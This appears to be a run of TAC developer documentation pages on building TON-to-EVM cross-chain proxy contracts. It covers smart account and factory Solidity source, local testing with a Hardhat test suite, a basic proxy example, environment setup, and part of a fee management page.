* Delegatecall support for advanced patterns
**Shared factory for all developers:**
* One factory instance serves all proxy contracts
* Deterministic address prediction before deployment
* Per-application smart account mapping
* Upgradeable beacon pattern for all accounts
* Event emission for account creation tracking
## *Smart Account Blueprint* Implementation
The contract is already deployed on TAC Mainnet and Testnet.
*Smart Account Blueprint* is addressed as `TacSmartAccount` in provided code snippets
```solidity theme={null}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
import { Initializable } from "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract TacSmartAccount is Initializable, IERC721Receiver {
using SafeERC20 for IERC20;
address public owner;
event Executed(address indexed target, uint256 value, bytes data);
mapping(address caller => bool ticket) public oneTimeTickets;
error ExecutionFailed(address target, uint256 value, bytes data, bytes returnData);
error AccessDenied(address caller);
modifier onlyOwnerOrTicket() {
if (oneTimeTickets[msg.sender]) {
oneTimeTickets[msg.sender] = false;
} else {
require(msg.sender == owner, AccessDenied(msg.sender));
}
_;
}
modifier onlyOwner() {
require(msg.sender == owner, AccessDenied(msg.sender));
_;
}
constructor() {
_disableInitializers();
}
function initialize(address _owner) public initializer {
owner = _owner;
}
function execute(address target, uint256 value, bytes calldata data) external payable onlyOwnerOrTicket returns(bytes memory) {
(bool success, bytes memory returnData) = target.call{value: value}(data);
require(success, ExecutionFailed(target, value, data, returnData));
emit Executed(target, value, data);
return returnData;
}
function executeUnsafe(address target, uint256 value, bytes calldata data) external payable onlyOwnerOrTicket returns(bool success, bytes memory returnData) {
(success, returnData) = target.call{value: value}(data);
emit Executed(target, value, data);
}
function delegatecall(address target, bytes calldata data) external onlyOwner returns(bool success, bytes memory returnData) {
(success, returnData) = target.delegatecall(data);
require(success, ExecutionFailed(target, 0, data, returnData));
emit Executed(target, 0, data);
}
function createOneTimeTicket(address caller) external onlyOwner {
oneTimeTickets[caller] = true;
}
function revokeOneTimeTicket(address caller) external onlyOwner {
oneTimeTickets[caller] = false;
}
function approve(IERC20 token, address to, uint256 amount) external onlyOwnerOrTicket{
token.forceApprove(to, amount);
}
function multicall(address[] calldata targets, uint256[] calldata values, bytes[] calldata data) external payable onlyOwnerOrTicket returns(bytes[] memory) {
bytes[] memory results = new bytes[](targets.length);
for (uint256 i = 0; i < targets.length; i++) {
(bool success, bytes memory returnData) = targets[i].call{value: values[i]}(data[i]);
require(success, ExecutionFailed(targets[i], values[i], data[i], returnData));
results[i] = returnData;
}
return results;
}
receive() external payable {}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override returns (bytes4) {
return this.onERC721Received.selector;
}
}
```
## Key Features
Multiple execution methods provide flexibility for different use cases:
* **execute()**: Safe execution that reverts on failure
* **executeUnsafe()**: Returns success/failure without reverting
* **delegatecall()**: Advanced pattern for library calls
* **multicall()**: Batch multiple operations in one transaction
* **Return Data**: All methods capture and return execution results
* **Event Logging**: Track all executed transactions
Secure proxy interaction system for cross-chain operations:
* **Proxy Authorization**: Proxy contracts can create tickets for users
* **Single Use**: Each ticket can only be used once for security
* **Owner Control**: Only the owner can create/revoke tickets
* **Automatic Cleanup**: Tickets are automatically consumed after use
Comprehensive asset management capabilities:
* **SafeERC20**: Uses OpenZeppelin's safe token operations
* **forceApprove()**: Handles tokens with approval edge cases
* **IERC721Receiver**: Can receive NFTs directly
* **Batch Operations**: Combine token operations with other calls
Flexible access control supporting both owner and proxy operations:
* **onlyOwner**: Functions restricted to the account owner
* **onlyOwnerOrTicket**: Functions accessible via one-time tickets
* **Custom Errors**: Clear error messages for access violations
* **Initialization Security**: Secure setup during deployment
## *Smart Account Factory* Implementation
The contract is already deployed on TAC Mainnet and Testnet.
*Smart Account Factory* is addressed as `TacSAFactory` in provided code snippets
The shared factory contract that all developers can use for smart account deployment:
```solidity theme={null}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.28;
import { BeaconProxy } from "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol";
import { UpgradeableBeacon } from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import { Ownable2StepUpgradeable } from "@openzeppelin/contracts-upgradeable/access/Ownable2StepUpgradeable.sol";
import { UUPSUpgradeable } from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import { TacSmartAccount } from "./TacSmartAccount.sol";
import { ISAFactory } from "./interfaces/ISAFactory.sol";
import { TacInitializable } from "../core/TacInitializable.sol";
contract TacSAFactory is TacInitializable, Ownable2StepUpgradeable, UUPSUpgradeable, ISAFactory {
UpgradeableBeacon public beacon;
mapping(address application => mapping(bytes32 id => address smartAccount)) public smartAccounts;
event SmartAccountCreated(address indexed smartAccountAddress, address indexed application, string tvmWallet);
function initialize(
address _initBlueprint
) external initializer {
__Ownable2Step_init();
__Ownable_init(msg.sender);
__UUPSUpgradeable_init();
beacon = new UpgradeableBeacon(_initBlueprint, address(this));
}
function _authorizeUpgrade(address newImplementation)
internal
override
onlyOwner
{}
function getOrCreateSmartAccount(
string memory tvmWallet
) external returns (address, bool isNewAccount) {
bytes32 id = keccak256(abi.encodePacked(tvmWallet));
if (smartAccounts[msg.sender][id] != address(0)) {
return (smartAccounts[msg.sender][id], false);
}
address account = _createSmartAccount(tvmWallet, msg.sender);
smartAccounts[msg.sender][id] = account;
return (account, true);
}
function getSmartAccountForApplication(
string memory tvmWallet,
address application
) external view returns (address) {
bytes32 id = keccak256(abi.encodePacked(tvmWallet));
if (smartAccounts[application][id] == address(0)) {
return predictSmartAccountAddress(tvmWallet, application);
}
return smartAccounts[application][id];
}
function predictSmartAccountAddress(
string memory tvmWallet,
address application
) public view returns (address) {
bytes32 id = keccak256(abi.encodePacked(tvmWallet));
if (smartAccounts[application][id] != address(0)) {
return smartAccounts[application][id];
}
// Predict the address using the same logic as _createSmartAccount
bytes memory bytecode = abi.encodePacked(
type(BeaconProxy).creationCode,
abi.encode(
address(beacon),
abi.encodeWithSelector(
TacSmartAccount.initialize.selector,
application
)
)
);
bytes32 salt = keccak256(abi.encodePacked(application, id));
return address(uint160(uint256(keccak256(abi.encodePacked(
bytes1(0xff),
address(this),
salt,
keccak256(bytecode)
)))));
}
function _createSmartAccount(string memory tvmWallet, address application) internal returns (address) {
bytes32 id = keccak256(abi.encodePacked(tvmWallet));
bytes32 salt = keccak256(abi.encodePacked(application, id));
BeaconProxy proxy = new BeaconProxy{salt: salt}(
address(beacon),
abi.encodeWithSelector(
TacSmartAccount.initialize.selector,
application
)
);
emit SmartAccountCreated(address(proxy), application, tvmWallet);
return address(proxy);
}
function updateBlueprint(address _newBlueprint) external onlyOwner {
beacon.upgradeTo(_newBlueprint);
}
}
```
## Shared Factory Benefits
TAC provides a single factory instance that all developers can use. This
approach ensures consistency and reduces deployment costs.
* **One Factory for All**: Single deployed instance serves all proxy contracts
* **Per-Application Isolation**: Each proxy gets its own mapping of user accounts
* **Deterministic Addresses**: Predict smart account addresses before deployment
* **Atomic Upgrades**: All accounts upgrade simultaneously when the beacon is updated
* **Version Consistency**: Ensures all accounts have the same feature set
## Using the Shared Factory in Proxy Contracts
Proxy contracts can leverage the shared TacSAFactory to create and manage smart accounts for users:
### Factory Integration Pattern
```solidity theme={null}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol";
import { TacHeaderV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol";
import { ISAFactory } from "@tonappchain/evm-ccl/contracts/interfaces/ISAFactory.sol";
import { ITacSmartAccount } from "@tonappchain/evm-ccl/contracts/interfaces/ITacSmartAccount.sol";
contract MyProxy is TacProxyV1 {
ISAFactory public immutable saFactory;
constructor(address _crossChainLayer, address _saFactory)
TacProxyV1(_crossChainLayer)
{
saFactory = ISAFactory(_saFactory);
}
function executeWithSmartAccount(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
TacHeaderV1 memory header = _decodeTacHeader(tacHeader);
// Get or create smart account for this user and proxy combination
(address smartAccount, bool isNewAccount) = saFactory.getOrCreateSmartAccount(header.tvmCaller);
// Decode operation parameters
(address target, bytes memory data, uint256 value) = abi.decode(arguments, (address, bytes, uint256));
// Execute through smart account
bytes memory returnData =
ITacSmartAccount(smartAccount).execute(target, value, data);
// Parse returnData
uint256 tokenId = abi.decode(returnData, (uint256));
}
}
```
## Off-Chain Address Calculation
Calculate smart account addresses before transactions for encoding in arguments:
```javascript theme={null}
// Get the smart account address for a specific user and proxy
const smartAccountAddress = await tacSAFactory.getSmartAccountForApplication(
tvmWalletCaller, // TON wallet address in any format
proxyAddress // Address of your proxy contract
);
// Use this address in your transaction arguments
const encodedArguments = ethers.AbiCoder.defaultAbiCoder().encode(
["address", "bytes", "uint256"],
[smartAccountAddress, callData, value]
);
```
# Local Testing
Source: https://docs.tac.build/proxies/advanced-custom-proxy/testing
Testing setup for **TAC Proxy** contracts using the `TacLocalTestSdk` library
This page is all about testing using cross-chain *simulation*.
You can also test directly in our [TON + TAC Testnet](/sdk/overview#testnet) setup using SDK.
The `@tonappchain/evm-ccl` package includes a `TacLocalTestSdk` package that helps emulate full bridging logic and cross-chain operations locally,
ensuring your proxy behaves as expected without deploying a full cross-chain setup.
The `TacLocalTestSdk` provides a complete testing environment that simulates
cross-chain message flows, token bridging, and NFT operations locally.
Full cross-chain emulation available within `TacLocalTestSdk`
## Installation and Setup
The testing utilities come with the `@tonappchain/evm-ccl` package:
```bash theme={null}
npm install --save @tonappchain/evm-ccl@latest
```
Ensure your package.json includes the necessary testing dependencies:
```json theme={null}
{
"devDependencies": {
"@nomicfoundation/hardhat-toolbox": "^5.0.0",
"hardhat": "^2.22.5",
"ethers": "^6.13.2",
"chai": "^4.3.7",
"ts-node": "^10.9.2",
"typescript": "^5.6.3",
"@tonappchain/evm-ccl": "^latest"
}
}
```
If your Dapp contracts are already deployed on another network,
you can fork that network and test against it locally instead of deploying the contracts again.
## Test Proxy Contract
Here's the minimal test proxy:
```solidity theme={null}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { OutMessageV1, TacHeaderV1, TokenAmount, NFTAmount } from "@tonappchain/evm-ccl/contracts/core/Structs.sol";
import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol";
contract TestProxy is TacProxyV1 {
event InvokeWithCallback(
uint64 shardsKey,
uint256 timestamp,
bytes32 operationId,
string tvmCaller,
bytes extraData,
TokenAmount[] receivedTokens
);
constructor(address _crossChainLayer) TacProxyV1(_crossChainLayer) {}
function invokeWithCallback(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
// 1. Decode the header
TacHeaderV1 memory header = _decodeTacHeader(tacHeader);
// 2. Decode the array of TokenAmount structs
TokenAmount[] memory receivedTokens = abi.decode(arguments, (TokenAmount[]));
// Optional: Here you could call an external Dapp contract with these tokens
// 3. Log an event for testing
emit InvokeWithCallback(
header.shardsKey,
header.timestamp,
header.operationId,
header.tvmCaller,
header.extraData,
receivedTokens
);
// 4. Approve and forward the tokens back via the cross-chain layer
for (uint i = 0; i < receivedTokens.length; i++) {
IERC20(receivedTokens[i].evmAddress).approve(
_getCrossChainLayerAddress(),
receivedTokens[i].amount
);
}
// 5. Create and send an OutMessage
_sendMessageV1(
OutMessageV1({
shardsKey: header.shardsKey,
tvmTarget: header.tvmCaller,
tvmPayload: "",
tvmProtocolFee: 0,
tvmExecutorFee: 0,
tvmValidExecutors: new string[](0),
toBridge: receivedTokens,
toBridgeNFT: new NFTAmount[](0)
}),
0
);
}
}
```
## Test Token Contract
Simple ERC20 token for testing:
```solidity theme={null}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract TestToken is ERC20 {
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {}
function mint(address _to, uint256 _amount) external {
_mint(_to, _amount);
}
}
```
## Test Flow Pattern
### 1. Initialization
* Create local cross-chain environment (`TacLocalTestSdk`)
* Deploy test tokens and proxy contracts
* Set up initial state
### 2. Bridging Simulation
* Mint or lock tokens on the cross-chain layer
* Create test parameters (`shardsKey`, `operationId`, etc.)
* Prepare method call arguments
### 3. Invoke Proxy
* Use `testSdk.sendMessage(...)` to simulate cross-chain call
* Pass all required parameters for complete simulation
### 4. Verification
* Confirm transaction succeeded (`receipt.status === 1`)
* Inspect `deployedTokens` for newly minted jettons
* Inspect `outMessages` for tokens returning to TON
* Check emitted events for correct data
## Complete Test Setup
Create a test file such as `TestProxy.spec.ts` under your test directory:
```typescript theme={null}
import hre, { ethers } from "hardhat";
import { Signer } from "ethers";
import { expect } from "chai";
// The following items come from '@tonappchain/evm-ccl' to help test cross-chain logic locally.
import {
deploy,
TacLocalTestSdk,
JettonInfo,
TokenMintInfo,
TokenUnlockInfo,
} from "@tonappchain/evm-ccl";
// Types for your compiled contracts
import { TestProxy, TestToken } from "../typechain-types";
import { InvokeWithCallbackEvent } from "../typechain-types/contracts/TestProxy";
describe("TestProxy with @tonappchain/evm-ccl", () => {
let admin: Signer;
let testSdk: TacLocalTestSdk;
let proxyContract: TestProxy;
let existedToken: TestToken;
before(async () => {
[admin] = await ethers.getSigners();
// 1. Initialize local test SDK
testSdk = new TacLocalTestSdk();
const crossChainLayerAddress = testSdk.create(ethers.provider);
// 2. Deploy a sample ERC20 token
existedToken = await deploy(
admin,
hre.artifacts.readArtifactSync("TestToken"),
["TestToken", "TTK"],
undefined,
false
);
// 3. Deploy the proxy contract
proxyContract = await deploy(
admin,
hre.artifacts.readArtifactSync("TestProxy"),
[crossChainLayerAddress],
undefined,
false
);
});
it("Should correctly handle invokeWithCallback", async () => {
// Prepare call parameters
const shardsKey = 1n;
const operationId = ethers.encodeBytes32String("operationId");
const extraData = "0x"; // untrusted data from the executor
const timestamp = BigInt(Math.floor(Date.now() / 1000));
const tvmWalletCaller = "TVMCallerAddress";
// Example bridging: create a Jetton and specify how many tokens to mint
const jettonInfo: JettonInfo = {
tvmAddress: "JettonMinterAddress",
name: "TestJetton",
symbol: "TJT",
};
const tokenMintInfo: TokenMintInfo = {
info: jettonInfo,
amount: 10n ** 9n,
};
// Also handle an existing EVM token to simulate bridging
const tokenUnlockInfo: TokenUnlockInfo = {
evmAddress: await existedToken.getAddress(),
amount: 10n ** 18n,
};
// Lock existedToken in the cross-chain layer to emulate bridging from EVM
await existedToken.mint(
testSdk.getCrossChainLayerAddress(),
tokenUnlockInfo.amount
);
// You can define a native TAC amount to bridge to your proxy,
// but you must first lock this amount on the CrossChainLayer contract
// use the testSdk.lockNativeTacOnCrossChainLayer(nativeTacAmount) function
const tacAmountToBridge = 0n;
// Determine the EVM address of the bridged Jetton (for minted jettons)
const bridgedJettonAddress = testSdk.getEVMJettonAddress(
jettonInfo.tvmAddress
);
// Prepare the method call
const target = await proxyContract.getAddress();
const methodName = "invokeWithCallback(bytes,bytes)";
// Our 'arguments' is an array of TokenAmount: (address, uint256)[]
const receivedTokens = [
[bridgedJettonAddress, tokenMintInfo.amount],
[tokenUnlockInfo.evmAddress, tokenUnlockInfo.amount],
];
const encodedArguments = ethers.AbiCoder.defaultAbiCoder().encode(
["tuple(address,uint256)[]"],
[receivedTokens]
);
// 4. Use testSdk to simulate a cross-chain message
const { receipt, deployedTokens, outMessages } = await testSdk.sendMessage(
shardsKey,
target,
methodName,
encodedArguments,
tvmWalletCaller,
[tokenMintInfo], // which jettons to mint
[tokenUnlockInfo], // which EVM tokens to unlock
tacAmountToBridge,
extraData,
operationId,
timestamp,
0, // gasLimit - if 0 - simulate and fill inside sendMessage
false // force send (if simulation failed)
);
// 5. Assertions
expect(receipt.status).to.equal(1);
// - Check if the Jetton was deployed
expect(deployedTokens.length).to.equal(1);
expect(deployedTokens[0].evmAddress).to.equal(bridgedJettonAddress);
// - Check the outMessages array
expect(outMessages.length).to.equal(1);
const outMessage = outMessages[0];
expect(outMessage.shardsKey).to.equal(shardsKey);
expect(outMessage.operationId).to.equal(operationId);
expect(outMessage.callerAddress).to.equal(await proxyContract.getAddress());
expect(outMessage.targetAddress).to.equal(tvmWalletCaller);
// - The returned tokens should be burned or locked as bridging back to TON
expect(outMessage.tokensBurned.length).to.equal(1);
expect(outMessage.tokensBurned[0].evmAddress).to.equal(
bridgedJettonAddress
);
expect(outMessage.tokensBurned[0].amount).to.equal(tokenMintInfo.amount);
expect(outMessage.tokensLocked.length).to.equal(1);
expect(outMessage.tokensLocked[0].evmAddress).to.equal(
tokenUnlockInfo.evmAddress
);
expect(outMessage.tokensLocked[0].amount).to.equal(tokenUnlockInfo.amount);
// - Confirm the event was emitted
let eventFound = false;
receipt.logs.forEach((log) => {
const parsed = proxyContract.interface.parseLog(log);
if (parsed && parsed.name === "InvokeWithCallback") {
eventFound = true;
const typedEvent =
parsed as unknown as InvokeWithCallbackEvent.LogDescription;
expect(typedEvent.args.shardsKey).to.equal(shardsKey);
expect(typedEvent.args.timestamp).to.equal(timestamp);
expect(typedEvent.args.operationId).to.equal(operationId);
expect(typedEvent.args.tvmCaller).to.equal(tvmWalletCaller);
expect(typedEvent.args.extraData).to.equal(extraData);
expect(typedEvent.args.receivedTokens.length).to.equal(2);
expect(typedEvent.args.receivedTokens[0].evmAddress).to.equal(
bridgedJettonAddress
);
expect(typedEvent.args.receivedTokens[1].evmAddress).to.equal(
tokenUnlockInfo.evmAddress
);
}
});
expect(eventFound).to.be.true;
});
});
```
## Key Testing Components
### `TacLocalTestSdk`
The core testing utility that provides:
```typescript theme={null}
// Initialize the SDK
testSdk = new TacLocalTestSdk();
const crossChainLayerAddress = testSdk.create(ethers.provider);
// Get addresses for operations
testSdk.getCrossChainLayerAddress();
testSdk.getEVMJettonAddress(jettonInfo.tvmAddress);
testSdk.getEVMNFTCollectionAddress(nftCollectionInfo.tvmAddress);
// Lock native TAC tokens for testing
testSdk.lockNativeTacOnCrossChainLayer(nativeTacAmount);
```
### Data Structures
#### `JettonInfo`
```typescript theme={null}
const jettonInfo: JettonInfo = {
tvmAddress: "JettonMinterAddress", // TON jetton address
name: "TestJetton",
symbol: "TJT",
};
```
#### `TokenMintInfo`
```typescript theme={null}
const tokenMintInfo: TokenMintInfo = {
info: jettonInfo,
amount: 10n ** 9n, // Amount to mint
};
```
#### `TokenUnlockInfo`
```typescript theme={null}
const tokenUnlockInfo: TokenUnlockInfo = {
evmAddress: await existedToken.getAddress(),
amount: 10n ** 18n, // Amount to unlock
};
```
### `sendMessage` Method
The main testing method that simulates cross-chain operations:
```typescript theme={null}
const { receipt, deployedTokens, outMessages } = await testSdk.sendMessage(
shardsKey, // uint64 - Operation identifier
target, // string - Target proxy contract address
methodName, // string - Function signature "functionName(bytes,bytes)"
encodedArguments, // bytes - ABI-encoded arguments
tvmWalletCaller, // string - Simulated TON wallet address
[tokenMintInfo], // TokenMintInfo[] - Jettons to mint
[tokenUnlockInfo], // TokenUnlockInfo[] - EVM tokens to unlock
tacAmountToBridge, // bigint - Native TAC amount to bridge
extraData, // bytes - Extra data (usually "0x")
operationId, // bytes32 - Unique operation ID
timestamp, // bigint - Block timestamp
0, // gasLimit - 0 to auto-simulate
false // force send if simulation fails
);
```
### `sendMessageWithNFT` Method
For testing NFT operations, use the specialized NFT testing method:
```typescript theme={null}
const { receipt, deployedTokens, outMessages } =
await testSdk.sendMessageWithNFT(
shardsKey,
target,
methodName,
encodedArguments,
tvmWalletCaller,
[tokenMintInfo], // TokenMintInfo[] - Regular tokens to mint
[tokenUnlockInfo], // TokenUnlockInfo[] - Regular tokens to unlock
[nftMintInfo], // NFTMintInfo[] - NFTs to mint
[nftUnlockInfo], // NFTUnlockInfo[] - NFTs to unlock
tacAmountToBridge,
extraData,
operationId,
timestamp
);
```
## Running Tests
Inside your project directory:
```bash theme={null}
npx hardhat test
```
# Basic Proxy Example
Source: https://docs.tac.build/proxies/custom-proxy/basic-proxy
This guide walks you through creating your first basic proxy contract, explaining each concept as we build.
In the [`create-tac-app`](/quickstart/overview) quickstart project, the TAC Proxy `MessageProxy.sol` contract is created automatically.
You can also review it
## Your First Proxy Contract
Let's start with the absolute minimum proxy contract that can handle TON->TAC transaction:
```solidity theme={null}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol";
import { TacHeaderV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol";
contract HelloProxy is TacProxyV1 {
event HelloFromTON(string indexed tonUser, string message);
constructor(address crossChainLayer) TacProxyV1(crossChainLayer) {}
function sayHello(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
// 1. Decode who's calling from TON
TacHeaderV1 memory header = _decodeTacHeader(tacHeader);
// 2. Decode their message
string memory message = abi.decode(arguments, (string));
// 3. Do something with it
emit HelloFromTON(header.tvmCaller, message);
}
}
```
That's it! This contract can receive messages from any TON user.
## Understanding the Structure
### Required Imports
```solidity theme={null}
import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol";
import { TacHeaderV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol";
```
* `TacProxyV1`: The base contract that handles all cross-chain communication
* `TacHeaderV1`: Data structure containing information about the TON user
### Inheritance
```solidity theme={null}
contract HelloProxy is TacProxyV1 {
```
Your contract **must** inherit from `TacProxyV1` to receive cross-chain calls.
### Constructor Parameter
```solidity theme={null}
constructor(address crossChainLayer) TacProxyV1(crossChainLayer) {}
```
The `crossChainLayer` address is TAC's infrastructure contract that will call your functions. You get this address from TAC documentation or contract addresses page.
### Function Signature (Critical!)
```solidity theme={null}
function sayHello(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
```
**Every cross-chain function must follow this exact pattern:**
* `bytes calldata tacHeader` - Encoded TacHeaderV1 containing TON user information
* `bytes calldata arguments` - Your custom ABI-encoded parameters
* `external` - Must be externally callable
* `_onlyCrossChainLayer` - Security modifier that ensures only CrossChainLayer can call this function
(required only for TON->TAC and TON->TAC->TON types)
## Step-by-Step Walkthrough
### Step 1: Decode the Header
```solidity theme={null}
TacHeaderV1 memory header = _decodeTacHeader(tacHeader);
```
The header tells you:
* `header.tvmCaller` - TON user's address. **Important!** It is always base64 mainnet bounceable format and starts with "EQ" (like "EQAbc123...")
* `header.operationId` - Unique ID for this operation
* `header.timestamp` - When the TON transaction happened
### Step 2: Decode Your Parameters
```solidity theme={null}
string memory message = abi.decode(arguments, (string));
```
The `arguments` contain whatever data the TON user sent. You decide what format this should be - it could be:
* A single string: `abi.decode(arguments, (string))`
* Multiple values: `abi.decode(arguments, (uint256, address, bool))`
* A struct: `abi.decode(arguments, (MyCustomStruct))`
### Step 3: Execute Your Logic
```solidity theme={null}
emit HelloFromTON(header.tvmCaller, message);
```
This is where you do whatever your contract is supposed to do. In this example, we just emit an event, but you could:
* Store data in state variables
* Call other contracts
* Perform calculations
* Transfer tokens
## Sending Responses Back to TON
You may also want to send arbitrary tokens back to the TON user after an EVM execution (TON->TAC->TON transaction type).
Learn how in the [more advanced example](/proxies/custom-proxy/proxy-functions#complete-implementation-walkthrough).
## Deployment
Deploy your basic proxy just like any other contract. You can also use `deploy` from `@tonappchain/evm-ccl` as helper:
```javascript theme={null}
import { Signer } from "ethers";
import { HelloProxy } from "../../typechain-types";
import { deploy } from '@tonappchain/evm-ccl';
import hre from 'hardhat';
export async function deployHelloProxy(
deployer: Signer,
crossChainLayer: string,
): Promise {
const helloProxy = await deploy(
deployer,
hre.artifacts.readArtifactSync('HelloProxy'),
[crossChainLayer],
undefined,
true // verbose
);
await helloProxy.waitForDeployment();
return helloProxy;
}
async function main() {
const [deployer] = await hre.ethers.getSigners();
const crossChainLayer = process.env.CROSS_CHAIN_LAYER_ADDRESS;
const helloProxy = await deployHelloProxy(deployer, crossChainLayer);
console.log("HelloProxy deployed to:", helloProxy.target);
}
main().catch(console.error);
```
## What's Next?
**Start simple**: Build and test basic proxy contracts before moving to
upgradeable patterns. Most use cases don't actually need upgradeability.
Feeling ready for more complex patterns?
Learn when and how to build contracts that can be upgraded over time
# Develop Custom Proxy
Source: https://docs.tac.build/proxies/custom-proxy/develop
Guide how to develop a TAC Proxy
## Documentation
The contents of the *Custom Proxy* page block you are viewing are primarily for informational purposes.
For complete details on Custom Proxy development, please refer to the official documentation linked below:
Developer documentation within `@tonappchain/evm-ccl` NPM-package
You can also reach out to our developer community in [Telegram](https://t.me/TACbuild).
## Installation
Setting up TAC Proxy development requires installing the TAC cross-chain libraries and configuring your Solidity development environment.
TAC Proxy development currently requires Hardhat. Foundry support is planned in future.
```bash npm theme={null}
npm install --save @tonappchain/evm-ccl@latest
```
```bash yarn theme={null}
yarn add @tonappchain/evm-ccl@latest
```
```bash pnpm theme={null}
pnpm add @tonappchain/evm-ccl@latest
```
## Hardhat Environment Setup
Ensure your Hardhat project includes the necessary dependencies:
```json package.json theme={null}
{
"devDependencies": {
"@nomicfoundation/hardhat-toolbox": "^5.0.0",
"hardhat": "^2.22.5",
"ethers": "^6.13.2",
"chai": "^4.3.7",
"ts-node": "^10.9.2",
"typescript": "^5.6.3",
"@tonappchain/evm-ccl": "^latest"
}
}
```
Configure your `hardhat.config.js` for TAC networks:
```javascript hardhat.config.js theme={null}
require("@nomicfoundation/hardhat-toolbox");
module.exports = {
solidity: {
version: "0.8.28",
settings: {
optimizer: {
enabled: true,
runs: 200,
},
},
},
networks: {
tac_testnet: {
url: "https://spb.rpc.tac.build",
chainId: 2391,
accounts: [process.env.PRIVATE_KEY || ""],
gasPrice: 20000000000,
},
tac_mainnet: {
url: "https://rpc.tac.build",
chainId: 239,
accounts: [process.env.PRIVATE_KEY || ""],
gasPrice: 20000000000,
},
},
};
```
## Project Structure Setup
Create an organized project structure for proxy development:
Organize your contracts with clear separation between proxy and application logic:
```
contracts/
├── proxies/ # TAC proxy contracts
│ ├── MyProxy.sol
│ └── MyNFTProxy.sol
├── interfaces/ # Custom interfaces
│ └── IMyDApp.sol
├── libraries/ # Utility libraries
└── mocks/ # Testing contracts
├── TestToken.sol
└── TestNFT.sol
```
Create a test directory with proper organization:
```
test/
├── proxies/ # Proxy-specific tests
│ ├── MyProxy.test.ts
│ └── NFTProxy.test.ts
├── integration/ # Cross-chain integration tests
└── helpers/ # Test utilities
└── tacTestHelpers.ts
```
Create a `.env` file for sensitive configuration:
```bash .env theme={null}
# Deployment
PRIVATE_KEY=your_private_key_here
# Network Configuration
TAC_TESTNET_RPC=https://spb.rpc.tac.build
TAC_MAINNET_RPC=https://rpc.tac.build
# Optional: API Keys
ETHERSCAN_API_KEY=your_etherscan_api_key
```
Never commit your `.env` file. Add it to your `.gitignore` immediately.
## Verify Installation
Create a basic proxy contract to verify your setup:
```solidity contracts/TestProxy.sol theme={null}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol";
import { TacHeaderV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol";
contract TestProxy is TacProxyV1 {
event MessageReceived(address indexed caller, string message);
constructor(address crossChainLayer) TacProxyV1(crossChainLayer) {}
function receiveMessage(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
TacHeaderV1 memory header = _decodeTacHeader(tacHeader);
string memory message = abi.decode(arguments, (string));
emit MessageReceived(header.tvmCaller, message);
}
}
```
Compile to verify setup:
```bash theme={null}
npx hardhat compile
```
If compilation succeeds, your environment is properly configured for TAC Proxy development.
## Common Setup Issues
**Problem**: Import resolution failures or compilation errors
**Solutions**:
* Ensure `@tonappchain/evm-ccl` is properly installed
* Verify Solidity version compatibility (0.8.28+)
* Check import paths are correct
* Reset and reinstall dependencies:
```bash theme={null}
rm -rf node_modules package-lock.json
npm install
```
* Clean and rebuild:
```bash theme={null}
npx hardhat clean && npx hardhat compile
```
**Problem**: Unable to connect to TAC network
**Solutions**:
* Verify RPC URLs are correct
* Check network configuration in hardhat.config.js
* Test connection manually: `curl https://spb.rpc.tac.build`
* Ensure firewall allows outbound connections
```javascript theme={null}
// Test network connectivity
const { ethers } = require("hardhat");
async function testConnection() {
const provider = new ethers.JsonRpcProvider("https://spb.rpc.tac.build");
const blockNumber = await provider.getBlockNumber();
console.log("Connected! Latest block:", blockNumber);
}
```
**Problem**: Deployment fails with account/key errors
**Solutions**:
* Verify private key is in `.env` file
* Ensure private key starts with `0x` if required by your configuration
* Check that the account has sufficient TAC tokens for deployment. Get them [here](ecosystem/faucet)
## What's Next?
Environment ready? Let's get to examples:
# Fee Management
Source: https://docs.tac.build/proxies/custom-proxy/fee-management
Understand how to handle protocol fees and executor payments in cross-chain messages
TAC's cross-chain messaging system has different fee structures depending on message direction and type. Understanding these fees is crucial for implementing cost-effective proxy contracts.
## OutMessageV1 Structure
The `OutMessageV1` structure contains all the fields needed for cross-chain messages:
```solidity theme={null}
struct OutMessageV1 {
uint64 shardsKey; // Developer ID for linking messages
string tvmTarget; // The recipient address on TON network
string tvmPayload; // Custom payload (currently not supported - must be empty)
uint256 tvmProtocolFee; // Protocol fee you pay (0 for RoundTrip messages)
uint256 tvmExecutorFee; // Executor fee you pay (0 for RoundTrip messages)
string[] tvmValidExecutors; // List of valid executors (empty array for RoundTrip)
TokenAmount[] toBridge; // ERC20 tokens to bridge to TON
NFTAmount[] toBridgeNFT; // NFTs to bridge to TON
